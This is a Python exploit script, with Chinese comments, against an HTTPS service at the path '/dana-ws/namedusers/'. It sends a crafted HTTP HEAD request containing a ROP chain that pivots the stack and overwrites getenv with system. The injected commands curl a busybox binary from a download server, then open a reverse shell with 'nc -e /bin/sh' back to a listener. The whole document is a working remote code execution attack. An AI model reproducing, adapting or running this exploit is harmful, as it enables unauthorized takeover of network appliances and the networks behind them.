1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182
| import socket import ssl import struct import time import select
def send_raw_http_request_improved(host, port, path, payload_bytes, timeout=10): """改进的原始套接字HTTP请求""" sock = None ssl_sock = None try: print(f"连接到 {host}:{port}...") # 创建套接字 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) # 先建立TCP连接 print("建立TCP连接...") sock.connect((host, port)) print("✓ TCP连接成功") # 创建SSL上下文 context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE context.set_ciphers('DEFAULT@SECLEVEL=1') # 降低安全级别,兼容老旧服务器 # SSL握手 print("执行SSL握手...") ssl_sock = context.wrap_socket(sock, server_hostname=host) print("✓ SSL握手成功") # 构造HTTP请求 payload = payload_bytes.decode("latin-1") http_request = f"HEAD{payload} {path} HTTP/1.1\r\n" http_request += f"Host: {host}:{port}\r\n" http_request += f"Connection: close\r\n" pad = "\xff"*0x74 #http_request += f"User-Agent: {pad}\r\n" request_part1 = http_request.encode("latin-1") request_part5 = b"\r\n" # 完整请求 full_request = request_part1 + request_part5 print(f"发送HTTP请求 ({len(full_request)} 字节)...") #print(f"请求头部: {request_part1.decode('latin-1', errors='ignore')}") #print(f"Payload部分: {payload_bytes.hex()}") # 发送请求 ssl_sock.sendall(full_request) print("✓ 请求发送完成") # 使用select等待响应,避免无限阻塞 print("等待服务器响应...") ready = select.select([ssl_sock], [], [], timeout) if ready[0]: # 有数据可读 response_data = b"" while True: try: chunk = ssl_sock.recv(1024) if not chunk: break response_data += chunk # 如果收到完整的HTTP响应头,可以提前退出 if b"\r\n\r\n" in response_data: print("✓ 收到完整HTTP头部") break except socket.timeout: print("接收数据超时,使用已收到的数据") break if response_data: print(f"✓ 收到响应 ({len(response_data)} 字节):") response_text = response_data.decode('latin-1', errors='ignore') print(response_text[:500]) # 只显示前500字符 return response_data else: print("⚠ 没有收到响应数据") return None else: print("✗ 等待响应超时") return None except socket.timeout: print("✗ 套接字操作超时") return None except ssl.SSLError as e: print(f"✗ SSL错误: {e}") return None except ConnectionRefusedError: print("✗ 连接被拒绝") return None except Exception as e: print(f"✗ 其他错误: {e}") return None finally: # 确保套接字被关闭 try: if ssl_sock: ssl_sock.close() elif sock: sock.close() except: pass
def craft_evil_bytes(cmd):
gad0 = 0x080842ef # add ecx, 2 ; mov dword ptr [esp + 8], ecx ; call dword ptr [edx + 0x20] gad1 = 0x08087843 # mov edi, eax; je 0x3fc08; mov eax, dword ptr [eax]; mov dword ptr [ebp - 0xf8], edx; mov dword ptr [esp], edi; call dword ptr [eax + 0x54]; gad2 = 0x0805c096 # add al, 0x24 ; call dword ptr [edx + 0x18] gad3 = 0x08087865 # push eax; pop esp; mov dword ptr [ebp - 0xec], eax; mov eax, dword ptr [edi]; mov dword ptr [esp], edi; call dword ptr [eax + 0x58]; gad4 = 0x0807eb23 # add esp, 0xb0; pop ebx; pop esi; pop ebp; ret;
# stack pivoting pd = b"\x00"*4 pd = pd.ljust(0x18-0xc, b"\xff") pd+= struct.pack("I", gad3) #4 pd = pd.ljust(0x20-0xc, b"\xff") pd+= struct.pack("I", gad1) #2 pd = pd.ljust(0x3c-0xc, b"\xff") pd+= struct.pack("I", gad0) #1 pd = pd.ljust(0x54-0xc, b"\xff") pd+= struct.pack("I", gad2) #3 pd = pd.ljust(0x58-0xc,b"\xff") pd+= struct.pack("I", gad4) #5
gad5 = 0x08106277# pop eax; ret; gad6 = 0x080fbf11# pop edx; ret; gad7 = 0x08107327# add dword ptr [eax], edx; pop eax; ret 2; gad8 = 0x0805bf2a# mov dword ptr [eax], edx; pop ebp; ret; gad9 = 0x08056825# ret 2; buf = 0x0810e080 getenv_got = 0x0810B368 getenv_plt = 0x0805B44B getenv_system_offset = 0xdb80 # system pd = pd.ljust(0xdc-0xc, b"\xff") pd+= struct.pack("I", gad5) + struct.pack("I", getenv_got) pd+= struct.pack("I", gad6) + struct.pack("I", getenv_system_offset) pd+= struct.pack("I", gad7) + struct.pack("I", 0xffffffff) pd+= struct.pack("I", gad9) + b"\xff\xff" + struct.pack("I", gad5+1) + b"\xff\xff"
if len(cmd) % 4 != 0: cmd+= "\x00"*(4-len(cmd)%4) def write_data(addr, data): payd = struct.pack("I", gad5) + struct.pack("I", addr) payd+= struct.pack("I", gad6) + data payd+= struct.pack("I", gad8) + struct.pack("I", 0xffffffff) return payd
for i in range(0, len(cmd), 4): pd+= write_data(buf+i, cmd[i:i+4].encode("latin-1")) pd+= struct.pack("I", getenv_plt) + struct.pack("I", buf) pd = pd.ljust(0x1000, b"\xff") return pd; #target_server host = "192.168.122.201" port = 443 path = "/dana-ws/namedusers/" #download_server ds_ip = "192.168.122.1" ds_port = 1145 #shell_server ss_ip = "192.168.122.1" ss_port = 1146 cmd = f"/home/bin/curl${{IFS}}http://{ds_ip}:{ds_port}/busybox${{IFS}}-o${{IFS}}/tmp/busybox" cmd+= f";/bin/chmod${{IFS}}755${{IFS}}/tmp/busybox" cmd_shell = f"/tmp/busybox${{IFS}}nc${{IFS}}{ss_ip}${{IFS}}{ss_port}${{IFS}}-e${{IFS}}/bin/sh" pd = craft_evil_bytes(cmd) for i in range(3): send_raw_http_request_improved(host, port, path, pd) pd = craft_evil_bytes(cmd_shell) for i in range(3): send_raw_http_request_improved(host, port, path, pd)
|